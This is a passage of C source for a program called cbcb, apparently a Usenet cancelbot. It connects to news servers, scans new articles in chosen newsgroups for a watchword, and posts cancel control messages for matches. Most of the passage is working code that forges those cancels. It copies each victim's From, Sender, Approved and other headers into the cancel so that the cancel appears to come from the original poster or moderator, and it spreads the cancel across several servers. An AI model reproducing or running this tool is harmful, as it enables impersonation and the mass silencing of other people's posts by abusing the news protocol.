  6284.  if (!cbcb_recv_resp(nhosts,'2'))
  6285.   {
  6286.   fprintf(stderr,"NNTP problem after connecting to %s port %hd on line %d\n",
  6287.    hostname,port,file_rec);
  6288.   close_sock(hosts[nhosts].cfd);
  6289.   hosts[nhosts].newnews_flag=hosts[nhosts].post_flag='N';
  6290.   continue;
  6291.   }
  6292.  nhosts++;
  6293.  }
  6294.  
  6295. return(nhosts);
  6296. }
  6297.  
  6298. int cbcb_parse_targets(void)
  6299. {
  6300.  
  6301. file_rec=0;
  6302. while(fgets(buffer,sizeof(buffer),tptr)) /* read a target line */
  6303.  {
  6304.  file_rec++;
  6305.  if (*buffer=='#') /* comment */
  6306.   continue;
  6307.  /* parse the buffer into the 8 fields */
  6308.  
  6309.  if (9!=sscanf(buffer,"%2048s %2048s %c %2048s %2048s %d %2048s %2048s %2048s",
  6310.   newsgroups, watchword, &subject_flag, cmsg_id_prefix, path_const,
  6311.   &path_num, hdr_fname, txt_fname, extra_ngrp))
  6312.   {
  6313.   fprintf(stderr,"Error parsing 8 fields on line %d \"%s\"\n",
  6314.   file_rec,buffer);
  6315.   continue;
  6316.   }
  6317.  
  6318. /* verify that the subject flag is C, O, or N */
  6319.  
  6320.  if (subject_flag=='c')
  6321.   subject_flag='C';
  6322.  else if (subject_flag=='o')
  6323.   subject_flag='O';
  6324.  else if (subject_flag=='n')
  6325.   subject_flag='N';
  6326.  else if (subject_flag!='C'&&subject_flag!='O'&&subject_flag!='N')
  6327.   {
  6328.   fprintf(stderr,"Subject flag %c, must be C, O, or N on line %d\n",
  6329.    subject_flag,file_rec);
  6330.   continue;
  6331.   }
  6332.  
  6333.   if (0==strcmp(path_const,sznone)) /* if 'none' is specified */
  6334.    {
  6335.    if (path_num==0)
  6336.     {
  6337.     fprintf(stderr,"Can't have path_const none and path_num 0\n");
  6338.     continue;
  6339.     }
  6340.    path_const[0]=0;
  6341.    }
  6342.   else /* if not none, append bang if needed */
  6343.    {
  6344.    i=strlen(path_const);
  6345.    if (path_const[i-1]!='!')
  6346.     {
  6347.     path_const[i]='!';
  6348.     path_const[i+1]=0;
  6349.     }
  6350.    }
  6351.  
  6352.   if (0==strcmp(extra_ngrp,sznone)) /* if 'none' is specified */
  6353.    extra_ngrp[0]=0;
  6354.   else /* if not none, append comma if needed */
  6355.    {
  6356.    i=strlen(extra_ngrp);
  6357.    if (extra_ngrp[i-1]!=',')
  6358.     {
  6359.     extra_ngrp[i]=',';
  6360.     extra_ngrp[i+1]=0;
  6361.     }
  6362.    }
  6363.  
  6364.  /* read the extra header lines */
  6365.  
  6366.   if (0==strcmp(hdr_fname,sznone)) /* if 'none' is specified */
  6367.    *extra_header=0;
  6368.   else
  6369.    {
  6370.    /* try to open the specified file */
  6371.    if (NULL==(sptr=fopen(hdr_fname,"r")))
  6372.     {
  6373.     perror("open()");
  6374.     fprintf(stderr,"cbcb cannot open extra-header file %s\n",hdr_fname);
  6375.     continue;
  6376.     }
  6377.    nbytes=fread(buffer,1,BUFFERSIZE,sptr);
  6378.    fclose(sptr);
  6379.    if (nbytes>=BUFFERSIZE)
  6380.     fprintf(stderr,"extra-header file %s is too long\n",hdr_fname);
  6381.    if (!cbcb_copy_buffer(extra_header))
  6382.     {
  6383.     fprintf(stderr,"error in header file\n");
  6384.     continue;
  6385.     }
  6386.    }
  6387.  
  6388.  /* read the body the same way */
  6389.  
  6390.   if (0==strcmp(txt_fname,sznone)) /* if 'none' is specified */
  6391.    strcpy(extra_body,"Please cancel this article\r\n");
  6392.   else
  6393.    {
  6394.    /* try to open the specified file */
  6395.    if (NULL==(sptr=fopen(txt_fname,"r")))
  6396.     {
  6397.     perror("open()");
  6398.     fprintf(stderr,"cbcb cannot open body file %s\n",txt_fname);
  6399.     continue;
  6400.     }
  6401.    nbytes=fread(buffer,1,BUFFERSIZE,sptr);
  6402.    fclose(sptr);
  6403.    if (nbytes>=BUFFERSIZE)
  6404.     fprintf(stderr,"body file %s is too long\n",txt_fname);
  6405.    if (!cbcb_copy_buffer(extra_body))
  6406.     {
  6407.     fprintf(stderr,"error in body file\n");
  6408.     continue;
  6409.     }
  6410.   }
  6411.  
  6412.  if (!cbcb_process_target()) /* process otherwise. warn and go on if error */
  6413.   fprintf(stderr,"cbcb encountered a problem processing target, line %d\n",
  6414.    file_rec);
  6415.  }
  6416.  
  6417. return(1);
  6418. }
  6419.  
  6420. int cbcb_process_target(void)
  6421. {
  6422.  
  6423. /* loop on hosts */
  6424. for (host1=0; host1<nhosts; host1++)
  6425.  if (hosts[host1].newnews_flag=='Y') /* if we want to get message-ids from it */
  6426.   {
  6427.   cbcb_flush_sock(hosts[host1].cfd);
  6428.  
  6429.   /* compose the rfc 977 newnews command.  Ansi C would let us write
  6430.   nbytes=sprintf(..), but gcc has a non-compilant sprintf which return
  6431.   buffer instead, so we must use strlen */
  6432.   sprintf(buffer,"NEWNEWS %s %s %s GMT\r\n",
  6433.    newsgroups,datestamp,timestamp);
  6434.   nbytes=strlen(buffer);
  6435.   /* send the command to the server */
  6436.   if (nbytes!=send(hosts[host1].cfd,buffer,nbytes,0))
  6437.    {
  6438.    perror_sock("NEWNEWS send()");
  6439.    continue;
  6440.    }
  6441.   /* the server is supposed to return a list of message-ids now */
  6442.   if (!cbcb_parse_message_ids())
  6443.    fprintf(stderr,"Problem parsing message-ids\n");
  6444.    /* no 'continue': even if we return a partial queue, try to process it */
  6445.  
  6446.   /* loop through headers, newest first */
  6447.   while (msg_queue)
  6448.    {
  6449.    msg_t=msg_queue;
  6450.    if (!cbcb_process_article(msg_queue->msgid))
  6451.     fprintf(stderr,"Problem processing article <%s>\n",msg_queue->msgid);
  6452.    msg_queue=msg_queue->next;
  6453.    free(msg_t);
  6454.    }
  6455.  
  6456.   }
  6457.  
  6458. return(1);
  6459. }
  6460.  
  6461.  
  6462. int cbcb_parse_message_ids(void)
  6463. {
  6464.  
  6465. msg_queue=NULL;
  6466. parse_state=7;
  6467.  
  6468. nretry=0;
  6469. recv_msgids:
  6470.  if (!cbcb_test_sock(hosts[host1].cfd)) /* nothing to read */
  6471.  {
  6472.  if (nretry>hosts[host1].timeout)
  6473.   {
  6474.   fprintf(stderr,"timeout waiting to recv message-ids\n");
  6475.   return(0);
  6476.   }
  6477.  fprintf(stderr,".");
  6478.  nretry++;
  6479.  sleep(1);
  6480.  goto recv_msgids;
  6481.  }
  6482. nbytes=recv(hosts[host1].cfd,buffer,sizeof(buffer),0);
  6483. if (nbytes<0) /* an error shouldn't happen here */
  6484.  {
  6485.  perror_sock("NEWNEWS recv()");
  6486.  return(0);
  6487.  }
  6488. #ifdef DEBUG
  6489.  fwrite(buffer,1,nbytes,stdout); /* for debugging only!! */
  6490. #endif
  6491. /* now see if what we received makes sense */
  6492. for (i=0; i<nbytes; i++)
  6493.  {
  6494.  switch(parse_state)
  6495.   {
  6496.  case 0:
  6497.   if (buffer[i]=='.')
  6498.    parse_state=4;
  6499.   else if (buffer[i]!='<')
  6500.    goto recv_bad_msg_id;
  6501.   else
  6502.    {
  6503.    j=0;
  6504.    parse_state=1;
  6505.    }
  6506.   break;
  6507.  case 1:
  6508.   if (buffer[i]=='>')
  6509.    {
  6510. /* add to the queue */
  6511.    msg_t=(struct _msgidq*)malloc(sizeof(struct _msgidq));
  6512.    if (msg_t==NULL)
  6513.     {
  6514.     fprintf(stderr,"malloc failed\n");
  6515.     return(0);
  6516.     }
  6517.    msg_t->msgid=(char*)malloc(j+1);
  6518.    if (msg_t->msgid==NULL)
  6519.     {
  6520.     free(msg_t);
  6521.     fprintf(stderr,"malloc failed\n");
  6522.     return(0);
  6523.     }
  6524.    memcpy(msg_t->msgid,buffer_big,j);
  6525.    *(msg_t->msgid+j)=0;
  6526.    msg_t->next=msg_queue;
  6527.    msg_queue=msg_t;
  6528.  
  6529.    parse_state=2;
  6530.    }
  6531.   else
  6532.    {
  6533.    if (j>=BUFFERBIGSIZE)
  6534.     {
  6535.     fprintf(stderr,"Please increase BUFFERBIGSIZE\n");
  6536.     return(0);
  6537.     }
  6538.    buffer_big[j]=buffer[i];
  6539.    j++;
  6540.    /* parse_state=1; */
  6541.    }
  6542.   break;
  6543.  case 2:
  6544.   if (buffer[i]==ASCII_CR)
  6545.    parse_state=3;
  6546.   else
  6547.    goto recv_bad_msg_id;
  6548.   break;
  6549.  case 3:
  6550.   if (buffer[i]==ASCII_LF)
  6551.    parse_state=0;
  6552.   else
  6553.    goto recv_bad_msg_id;
  6554.   break;
  6555.  case 4:
  6556.   if (buffer[i]==ASCII_CR)
  6557.    parse_state=5;
  6558.   else
  6559.    goto recv_bad_msg_id;
  6560.   break;
  6561.  case 5:
  6562.   if (buffer[i]==ASCII_LF)
  6563.    parse_state=6;
  6564.   else
  6565.    goto recv_bad_msg_id;
  6566.   break;
  6567.  case 6:  /* more data after final . */
  6568.    goto recv_bad_msg_id;
  6569.  case 7: /* initial, really */
  6570.   if (buffer[i]=='2')
  6571.    parse_state=8;
  6572.   else
  6573.    goto recv_bad_msg_id;
  6574.   break;
  6575.  case 8:
  6576.   if (buffer[i]==ASCII_CR)
  6577.     parse_state=3;
  6578.   break;
  6579.   }
  6580.  }
  6581.  
  6582. if (parse_state!=6)
  6583.  goto recv_msgids;
  6584. /* normal competion */
  6585. return(1);
  6586.  
  6587. recv_bad_msg_id:
  6588.  fprintf(stderr,"Unexpected response (expected message-ids) ");
  6589.  if (i)
  6590.   {
  6591.   fprintf(stderr,"after \"");
  6592.   fwrite(buffer,1,i,stderr);
  6593.   fprintf(stderr,"\" ");
  6594.   }
  6595.  if (i<nbytes)
  6596.   {
  6597.   fprintf(stderr,"before \"");
  6598.   fwrite(buffer+i,1,nbytes-i,stderr);
  6599.   fprintf(stderr,"\"");
  6600.   }
  6601.  fprintf(stderr,"\n");
  6602. return(0);
  6603. }
  6604.  
  6605. int cbcb_process_article(char *msgid)
  6606. {
  6607.  
  6608. /* if there is any leftover data in the socket, get it out */
  6609.  cbcb_flush_sock(hosts[host1].cfd);
  6610.  
  6611. /* compose the rfc 977 head command */
  6612. sprintf(buffer,"HEAD <%s>\r\n",msgid);
  6613.  
  6614. /* send the command to the server */
  6615. nbytes=strlen(buffer);
  6616. if (nbytes!=send(hosts[host1].cfd,buffer,nbytes,0))
  6617.  {
  6618.  perror_sock("HEAD send()");
  6619.  return(0);
  6620.  }
  6621.  
  6622. /* the server is supposed to return the article headers now */
  6623.  
  6624. if (!cbcb_get_headers())
  6625.  {
  6626.  fprintf(stderr,"Problem retrieving headers\n");
  6627.  return(0);
  6628.  }
  6629.  
  6630. if (!strstr(buffer_big,watchword))
  6631.  return(1); /* no match, nothing to do */
  6632.  
  6633. /* found the watchword: let's cancel */
  6634. cbcb_save_headers();
  6635. sprintf(buffer_big,"\
  6636. Path: %s%s\r\n\
  6637. From:%s\r\n\
  6638. Sender:%s\r\n\
  6639. Approved:%s\r\n\
  6640. Newsgroups: %s%s\r\n\
  6641. Date:%s\r\n\
  6642. %s%s%s\
  6643. Organization:%s\r\n\
  6644. Control:%s\r\n\
  6645. Message-ID: <%s%s>\r\n\
  6646. %s\
  6647. \r\n\
  6648. %s\
  6649. .\r\n",
  6650. path_const,
  6651. h_ptr[0],h_ptr[1],h_ptr[2],h_ptr[3],extra_ngrp,h_ptr[4],h_ptr[5],
  6652. t_ptr[0],h_ptr[6],t_ptr[1],h_ptr[7],t_ptr[2],
  6653. cmsg_id_prefix,msgid,extra_header,extra_body);
  6654.  
  6655. fputs(buffer_big,stderr); /* to see what we're posting */
  6656.  
  6657. for (host2=0; host2<nhosts; host2++)
  6658.  if (hosts[host2].post_flag=='P'||hosts[host2].post_flag=='I')
  6659.   {
  6660.   cbcb_flush_sock(hosts[host2].cfd);
  6661.   if (hosts[host2].post_flag=='P')
  6662.    {
  6663.    /* send the command to the server */
  6664.    if (6!=send(hosts[host2].cfd,"POST\r\n",6,0))
  6665.     {
  6666.     perror_sock("POST send()");
  6667.     continue;
  6668.     }
  6669.    }
  6670.   else /*hosts[host2].post_flag=='I') */
  6671.    {
  6672.    sprintf(buffer,"IHAVE <%s%s>\r\n",cmsg_id_prefix,msgid);
  6673.    nbytes=strlen(buffer);
  6674.    /* send the command to the server */
  6675.    if (nbytes!=send(hosts[host2].cfd,buffer,nbytes,0))
  6676.     {
  6677.     perror_sock("IHAVE send()");
  6678.     continue;
  6679.     }
  6680.    }
  6681.   if (!cbcb_recv_resp(host2,'3'))
  6682.    {
  6683.    fprintf(stderr,"NNTP problem while trying to post\n");
  6684.    continue;
  6685.    }
  6686.   nbytes=strlen(buffer_big);
  6687.   if (nbytes!=send(hosts[host2].cfd,buffer_big,nbytes,0))
  6688.    {
  6689.    perror_sock("article send()");
  6690.    continue;
  6691.    }
  6692.   if (!cbcb_recv_resp(host2,'2'))
  6693.    {
  6694.    fprintf(stderr,"NNTP problem after posting\n");
  6695.    continue;
  6696.    }
  6697.   }
  6698.  
  6699. return(1); /* all's well */
  6700. }
  6701.  
  6702. int cbcb_get_headers(void)
  6703. {
  6704.  
  6705. h_ptr[0]=h_ptr[1]=h_ptr[2]=h_ptr[3]=h_ptr[4]=h_ptr[5]=h_ptr[6]=h_ptr[7]=NULL;
  6706. h_flag=d_flag=parse_state=0;
  6707. nretry=0;
  6708. j=0;
  6709. /* recv */
  6710. recv_headers:
  6711.  
  6712.  if (!cbcb_test_sock(hosts[host1].cfd)) /* nothing to read */
  6713.  {
  6714.  if (nretry>hosts[host1].timeout)
  6715.   {
  6716.   fprintf(stderr,"timeout waiting to recv article headers\n");
  6717.   return(0);
  6718.   }
  6719.  fprintf(stderr,".");
  6720.  nretry++;
  6721.  sleep(1);
  6722.  goto recv_headers;
  6723.  }
  6724.  
  6725. nbytes=recv(hosts[host1].cfd,buffer,sizeof(buffer),0);
  6726. if (nbytes<0) /* an error shouldn't happen here */
  6727.  {
  6728.  perror_sock("headers recv()");
  6729.  return(0);
  6730.  }
  6731. #ifdef DEBUG
  6732.  fwrite(buffer,1,nbytes,stdout); /* for debugging only!! */
  6733. #endif
  6734. /* see if what we received makes sense */
  6735. for (i=0; i<nbytes; i++)
  6736.  {
  6737.  switch(parse_state)
  6738.   {
  6739.  case 0:
  6740.   if (buffer[i]=='2')
  6741.    parse_state=1;
  6742.   else
  6743.    goto recv_bad_header;
  6744.   break;
  6745.  case 1:
  6746.   if (buffer[i]=='2')
  6747.    parse_state=2;
  6748.   else
  6749.    goto recv_bad_header;
  6750.   break;
  6751.  case 2:
  6752.   if (buffer[i]==ASCII_CR)
  6753.    parse_state=3;
  6754.  /*
  6755.   else
  6756.    parse_state=2;
  6757.  */
  6758.   break;
  6759.  case 3:
  6760.   if (buffer[i]==ASCII_LF)
  6761.    {
  6762.    if (d_flag)
  6763.     parse_state=5;
  6764.    else
  6765.     {
  6766.     h_flag=1;
  6767.     parse_state=4;
  6768.     goto recv_header_save;
  6769.     }
  6770.    }
  6771.   else
  6772.    goto recv_bad_header;
  6773.   break;
  6774.  case 4:
  6775.   if (buffer[i]==ASCII_CR) /* don't save cr's */
  6776.    parse_state=3;
  6777.   else
  6778.    {
  6779.    if (h_flag)
  6780.     {
  6781.     d_flag=0;
  6782.     if (buffer[i]=='.')
  6783.      d_flag=1;
  6784.     else if (buffer[i]=='p'||buffer[i]=='P')
  6785.      parse_state=10;
  6786.     else if (buffer[i]=='f'||buffer[i]=='F')
  6787.      parse_state=20;
  6788.     else if (buffer[i]=='s'||buffer[i]=='S')
  6789.      parse_state=30;
  6790.     else if (buffer[i]=='a'||buffer[i]=='A')
  6791.      parse_state=40;
  6792.     else if (buffer[i]=='n'||buffer[i]=='N')
  6793.      parse_state=50;
  6794.     else if (buffer[i]=='d'||buffer[i]=='D')
  6795.      parse_state=60;
  6796.     else if (buffer[i]=='o'||buffer[i]=='O')
  6797.      parse_state=70;
  6798.     else if (buffer[i]==' '||buffer[i]=='\t') /* space means continuation */
  6799.      j--; /* backup over the lf */
  6800.     h_flag=0;
  6801.     }
  6802.    else
  6803.     d_flag=0;
  6804.    goto recv_header_save;
  6805.    }
  6806.   break;
  6807.  case 5:  /* more data after the final . */
  6808.    goto recv_bad_header;
  6809. /* we recognize these headers on the fly */
  6810.  case 10:
  6811.     if (buffer[i]=='a'||buffer[i]=='A')
  6812.      parse_state=11;
  6813.     else
  6814.      parse_state=4;
  6815.    goto recv_header_save;
  6816.  case 11:
  6817.     if (buffer[i]=='t'||buffer[i]=='t')
  6818.      parse_state=12;
  6819.     else
  6820.      parse_state=4;
  6821.    goto recv_header_save;
  6822.  case 12:
  6823.     if (buffer[i]=='h'||buffer[i]=='H')
  6824.      parse_state=13;
  6825.     else
  6826.      parse_state=4;
  6827.    goto recv_header_save;
  6828.  case 13:
  6829.     if (buffer[i]==':')
  6830.      h_ptr[0]=buffer_big+j+1; /* Path: */
  6831.     parse_state=4;
  6832.    goto recv_header_save;
  6833.  case 20:
  6834.     if (buffer[i]=='r'||buffer[i]=='R')
  6835.      parse_state=21;
  6836.     else
  6837.      parse_state=4;
  6838.    goto recv_header_save;
  6839.  case 21:
  6840.     if (buffer[i]=='o'||buffer[i]=='O')
  6841.      parse_state=22;
  6842.     else
  6843.      parse_state=4;
  6844.    goto recv_header_save;
  6845.  case 22:
  6846.     if (buffer[i]=='m'||buffer[i]=='M')
  6847.      parse_state=23;
  6848.     else
  6849.      parse_state=4;
  6850.    goto recv_header_save;
  6851.  case 23:
  6852.     if (buffer[i]==':')
  6853.      h_ptr[1]=buffer_big+j+1; /* From: */
  6854.     parse_state=4;
  6855.    goto recv_header_save;
  6856.  case 30:
  6857.     if (buffer[i]=='e'||buffer[i]=='E')
  6858.      parse_state=31;
  6859.     else if (buffer[i]=='u'||buffer[i]=='U')
  6860.      parse_state=90;
  6861.     else
  6862.      parse_state=4;
  6863.    goto recv_header_save;
  6864.  case 31:
  6865.     if (buffer[i]=='n'||buffer[i]=='N')
  6866.      parse_state=32;
  6867.     else
  6868.      parse_state=4;
  6869.    goto recv_header_save;
  6870.  case 32:
  6871.     if (buffer[i]=='d'||buffer[i]=='D')
  6872.      parse_state=33;
  6873.     else
  6874.      parse_state=4;
  6875.    goto recv_header_save;
  6876.  case 33:
  6877.     if (buffer[i]=='e'||buffer[i]=='E')
  6878.      parse_state=34;
  6879.     else
  6880.      parse_state=4;
  6881.    goto recv_header_save;
  6882.  case 34:
  6883.     if (buffer[i]=='r'||buffer[i]=='R')
  6884.      parse_state=35;
  6885.     else
  6886.      parse_state=4;
  6887.    goto recv_header_save;
  6888.  case 35:
  6889.     if (buffer[i]==':')
  6890.      h_ptr[2]=buffer_big+j+1; /* Sender: */
  6891.     parse_state=4;
  6892.    goto recv_header_save;
  6893.  case 40:
  6894.     if (buffer[i]=='p'||buffer[i]=='P')
  6895.      parse_state=41;
  6896.     else
  6897.      parse_state=4;
  6898.    goto recv_header_save;
  6899.  case 41:
  6900.     if (buffer[i]=='p'||buffer[i]=='P')
  6901.      parse_state=42;
  6902.     else
  6903.      parse_state=4;
  6904.    goto recv_header_save;
  6905.  case 42:
  6906.     if (buffer[i]=='r'||buffer[i]=='R')
  6907.      parse_state=43;
  6908.     else
  6909.      parse_state=4;
  6910.    goto recv_header_save;
  6911.  case 43:
  6912.     if (buffer[i]=='o'||buffer[i]=='O')
  6913.      parse_state=44;
  6914.     else
  6915.      parse_state=4;
  6916.    goto recv_header_save;
  6917.  case 44:
  6918.     if (buffer[i]=='v'||buffer[i]=='V')
  6919.      parse_state=45;
  6920.     else
  6921.      parse_state=4;
  6922.    goto recv_header_save;
  6923.  case 45:
  6924.     if (buffer[i]=='e'||buffer[i]=='E')
  6925.      parse_state=46;
  6926.     else
  6927.      parse_state=4;
  6928.    goto recv_header_save;
  6929.  case 46:
  6930.     if (buffer[i]=='d'||buffer[i]=='D')
  6931.      parse_state=47;
  6932.     else
  6933.      parse_state=4;
  6934.    goto recv_header_save;
  6935.  case 47:
  6936.     if (buffer[i]==':')
  6937.      h_ptr[3]=buffer_big+j+1; /* Approved: */
  6938.     parse_state=4;
  6939.    goto recv_header_save;
  6940.  case 50:
  6941.     if (buffer[i]=='e'||buffer[i]=='E')
  6942.      parse_state=51;
  6943.     else
  6944.      parse_state=4;
  6945.    goto recv_header_save;
  6946.  case 51:
  6947.     if (buffer[i]=='w'||buffer[i]=='W')
  6948.      parse_state=52;
  6949.     else
  6950.      parse_state=4;
  6951.    goto recv_header_save;
  6952.  case 52:
  6953.     if (buffer[i]=='s'||buffer[i]=='S')
  6954.      parse_state=53;
  6955.     else
  6956.      parse_state=4;
  6957.    goto recv_header_save;
  6958.  case 53:
  6959.     if (buffer[i]=='g'||buffer[i]=='G')
  6960.      parse_state=54;
  6961.     else
  6962.      parse_state=4;
  6963.    goto recv_header_save;
  6964.  case 54:
  6965.     if (buffer[i]=='r'||buffer[i]=='R')
  6966.      parse_state=55;
  6967.     else
  6968.      parse_state=4;
  6969.    goto recv_header_save;
  6970.  case 55:
  6971.     if (buffer[i]=='o'||buffer[i]=='O')
  6972.      parse_state=56;
  6973.     else
  6974.      parse_state=4;
  6975.    goto recv_header_save;
  6976.  case 56:
  6977.     if (buffer[i]=='u'||buffer[i]=='U')
  6978.      parse_state=57;
  6979.     else
  6980.      parse_state=4;
  6981.    goto recv_header_save;
  6982.  case 57:
  6983.     if (buffer[i]=='p'||buffer[i]=='P')
  6984.      parse_state=58;
  6985.     else
  6986.      parse_state=4;
  6987.    goto recv_header_save;
  6988.  case 58:
  6989.     if (buffer[i]=='s'||buffer[i]=='S')
  6990.      parse_state=59;
  6991.     else
  6992.      parse_state=4;
  6993.    goto recv_header_save;
  6994.  case 59:
  6995.     if (buffer[i]==':')
  6996.      h_ptr[4]=buffer_big+j+2; /* Newsgroups:, skip space */
  6997.     parse_state=4;
  6998.    goto recv_header_save;
  6999.  case 60:
  7000.     if (buffer[i]=='a'||buffer[i]=='A')
  7001.      parse_state=61;
  7002.     else
  7003.      parse_state=4;
  7004.    goto recv_header_save;
  7005.  case 61:
  7006.     if (buffer[i]=='t'||buffer[i]=='T')
  7007.      parse_state=62;
  7008.     else
  7009.      parse_state=4;
  7010.    goto recv_header_save;
  7011.  case 62:
  7012.     if (buffer[i]=='e'||buffer[i]=='E')
  7013.      parse_state=63;
  7014.     else
  7015.      parse_state=4;
  7016.    goto recv_header_save;
  7017.  case 63:
  7018.     if (buffer[i]==':')
  7019.      h_ptr[5]=buffer_big+j+1; /* Date: */
  7020.     parse_state=4;
  7021.    goto recv_header_save;
  7022.  case 70:
  7023.     if (buffer[i]=='r'||buffer[i]=='R')
  7024.      parse_state=71;
  7025.     else
  7026.      parse_state=4;
  7027.    goto recv_header_save;
  7028.  case 71:
  7029.     if (buffer[i]=='g'||buffer[i]=='G')
  7030.      parse_state=72;
  7031.     else
  7032.      parse_state=4;
  7033.    goto recv_header_save;
  7034.  case 72:
  7035.     if (buffer[i]=='a'||buffer[i]=='A')
  7036.      parse_state=73;
  7037.     else
  7038.      parse_state=4;
  7039.    goto recv_header_save;
  7040.  case 73:
  7041.     if (buffer[i]=='n'||buffer[i]=='N')
  7042.      parse_state=74;
  7043.     else
  7044.      parse_state=4;
  7045.    goto recv_header_save;
  7046.  case 74:
  7047.     if (buffer[i]=='i'||buffer[i]=='I')
  7048.      parse_state=75;
  7049.     else
  7050.      parse_state=4;
  7051.    goto recv_header_save;
  7052.  case 75:
  7053.     if (buffer[i]=='z'||buffer[i]=='Z')
  7054.      parse_state=76;
  7055.     else
  7056.      parse_state=4;
  7057.    goto recv_header_save;
  7058.  case 76:
  7059.     if (buffer[i]=='a'||buffer[i]=='A')
  7060.      parse_state=77;
  7061.     else
  7062.      parse_state=4;
  7063.    goto recv_header_save;
  7064.  case 77:
  7065.     if (buffer[i]=='t'||buffer[i]=='T')
  7066.      parse_state=78;
  7067.     else
  7068.      parse_state=4;
  7069.    goto recv_header_save;
  7070.  case 78:
  7071.     if (buffer[i]=='i'||buffer[i]=='I')
  7072.      parse_state=79;
  7073.     else
  7074.      parse_state=4;
  7075.    goto recv_header_save;
  7076.  case 79:
  7077.     if (buffer[i]=='o'||buffer[i]=='O')
  7078.      parse_state=80;
  7079.     else
  7080.      parse_state=4;
  7081.    goto recv_header_save;
  7082.  case 80:
  7083.     if (buffer[i]=='n'||buffer[i]=='N')
  7084.      parse_state=81;
  7085.     else
  7086.      parse_state=4;
  7087.    goto recv_header_save;
  7088.  case 81:
  7089.     if (buffer[i]==':')
  7090.      h_ptr[7]=buffer_big+j+1; /* Organization: */
  7091.     parse_state=4;
  7092.    goto recv_header_save;
  7093.  case 90:
  7094.     if (buffer[i]=='b'||buffer[i]=='B')
  7095.      parse_state=91;
  7096.     else
  7097.      parse_state=4;
  7098.    goto recv_header_save;
  7099.  case 91:
  7100.     if (buffer[i]=='j'||buffer[i]=='J')
  7101.      parse_state=92;
  7102.     else
  7103.      parse_state=4;
  7104.    goto recv_header_save;
  7105.  case 92:
  7106.     if (buffer[i]=='e'||buffer[i]=='E')
  7107.      parse_state=93;
  7108.     else
  7109.      parse_state=4;
  7110.    goto recv_header_save;
  7111.  case 93:
  7112.     if (buffer[i]=='c'||buffer[i]=='C')
  7113.      parse_state=94;
  7114.     else
  7115.      parse_state=4;
  7116.    goto recv_header_save;
  7117.  case 94:
  7118.     if (buffer[i]=='t'||buffer[i]=='T')
  7119.      parse_state=95;
  7120.     else
  7121.      parse_state=4;
  7122.    goto recv_header_save;
  7123.  case 95:
  7124.     if (buffer[i]==':')
  7125.      h_ptr[6]=buffer_big+j+1; /* Subject: */
  7126.    parse_state=4;
  7127.    goto recv_header_save;
  7128.  default: /* how could we ever get here? */
  7129.   goto recv_bad_header;
  7130.   }
  7131.  continue; /* ugly, branch around save */
  7132. recv_header_save:
  7133.  if (j>=BUFFERBIGSIZE)
  7134.   {
  7135.   fprintf(stderr,"Please increase BUFFERBIGSIZE\n");
  7136.   return(0);
  7137.   }
  7138.  buffer_big[j++]=buffer[i];
  7139.  } /* next i */
  7140. if (parse_state!=5)
  7141.  goto recv_headers;
  7142.  
  7143. return(1);
  7144. recv_bad_header:
  7145.  fprintf(stderr,"Unexpected response (expected headers) ");
  7146.  if (i)
  7147.   {
  7148.   fprintf(stderr,"after \"");
  7149.   fwrite(buffer,1,i,stderr);
  7150.   fprintf(stderr,"\" ");
  7151.   }
  7152.  if (i<nbytes)
  7153.   {
  7154.   fprintf(stderr,"before \"");
  7155.   fwrite(buffer+i,1,nbytes-i,stderr);
  7156.   fprintf(stderr,"\"");
  7157.   }
  7158.  fprintf(stderr,"\n");
  7159. return(0);
  7160. }
  7161.  
  7162. void cbcb_save_headers(void)
  7163. {
  7164. /* now copy old headers to buffer for safekeeping */
  7165. /* only if buffer_big matched the pattern */
  7166.  
  7167. /* only Path: is special: no initial space */
  7168. if (h_ptr[0]==NULL) /* no path */
  7169.  {
  7170.  j=0;
  7171.  h_ptr[0]=" ";
  7172.  }
  7173. else
  7174.  {
  7175.  i=h_ptr[0]-buffer_big;
  7176.  j=path_num;
  7177.  while (buffer_big[i]!=ASCII_LF)
  7178.   i++;
  7179.  i--;
  7180.  /* now go back and look for the last n bang-separated components, or the
  7181.  beginning of path */
  7182.  while (buffer_big[i]>' ' && j)
  7183.   {
  7184.   i--;
  7185.   if (buffer_big[i]=='!')
  7186.    j--;
  7187.   }
  7188.  i++;
  7189.  j=0;
  7190.  h_ptr[0]=buffer;
  7191.  while (buffer_big[i]!=ASCII_LF)
  7192.   buffer[j++]=buffer_big[i++];
  7193.  buffer[j++]=0;
  7194.  }
  7195.  
  7196. t_ptr[2]=buffer+j;
  7197. sprintf(t_ptr[2]," cancel <%s>",msg_queue->msgid);
  7198. j+=strlen(t_ptr[2])+1;
  7199.  
  7200. if (h_ptr[1]==NULL) /* no from? Highly unlikely */
  7201.  h_ptr[1]=szcabal;
  7202. else
  7203.  cbcb_save_header(1);
  7204. if (h_ptr[2]==NULL) /* sender */
  7205.  h_ptr[2]=h_ptr[1];
  7206. else
  7207.  cbcb_save_header(2);
  7208. if (h_ptr[3]==NULL) /* approved */
  7209.  h_ptr[3]=h_ptr[2];
  7210. else
  7211.  cbcb_save_header(3);
  7212. if (h_ptr[4]==NULL) /* no newsgroups? */
  7213.  h_ptr[4]="control";
  7214. else
  7215.  cbcb_save_header(4);
  7216. if (h_ptr[5]==NULL) /* no date??? */
  7217.  h_ptr[5]=" 1 Jan 1990 00:00 GMT";
  7218. else
  7219.  cbcb_save_header(5);
  7220. /* subject is special - must use flag */
  7221. if (subject_flag=='O')
  7222.  {
  7223.  if (h_ptr[6]==NULL)
  7224.   h_ptr[6]=szcabal; /* no subject??? */
  7225.  else
  7226.   cbcb_save_header(6);
  7227.  t_ptr[0]=szsubject;
  7228.  t_ptr[1]=szendl;
  7229.  }
  7230. else if (subject_flag=='C')
  7231.  {
  7232.  h_ptr[6]=t_ptr[2]; /* same as the Control: */
  7233.  t_ptr[0]=szsubjectc;
  7234.  t_ptr[1]=szendl;
  7235.  }
  7236. else /* if (subject_flag=='N') */
  7237.  {
  7238. t_ptr[0]=t_ptr[1]=h_ptr[6]=szempty;
  7239.  }
  7240. if (h_ptr[7]==NULL) /* organization */
  7241.  h_ptr[7]=szcabal;
  7242. else
  7243.  cbcb_save_header(7);
  7244.  
  7245. #ifdef DEBUG
  7246. for (i=0; i<8; i++)
  7247.  if (h_ptr[i])
  7248.   printf("%d:%s\n",i,h_ptr[i]);
  7249. #endif
  7250.  
  7251. }
  7252.  
  7253. void cbcb_save_header(int k)
  7254. {
  7255. i=h_ptr[k]-buffer_big;
  7256. h_ptr[k]=buffer+j;
  7257. while (buffer_big[i]!=ASCII_LF)
  7258.  buffer[j++]=buffer_big[i++];
  7259. buffer[j++]=0;
  7260. }
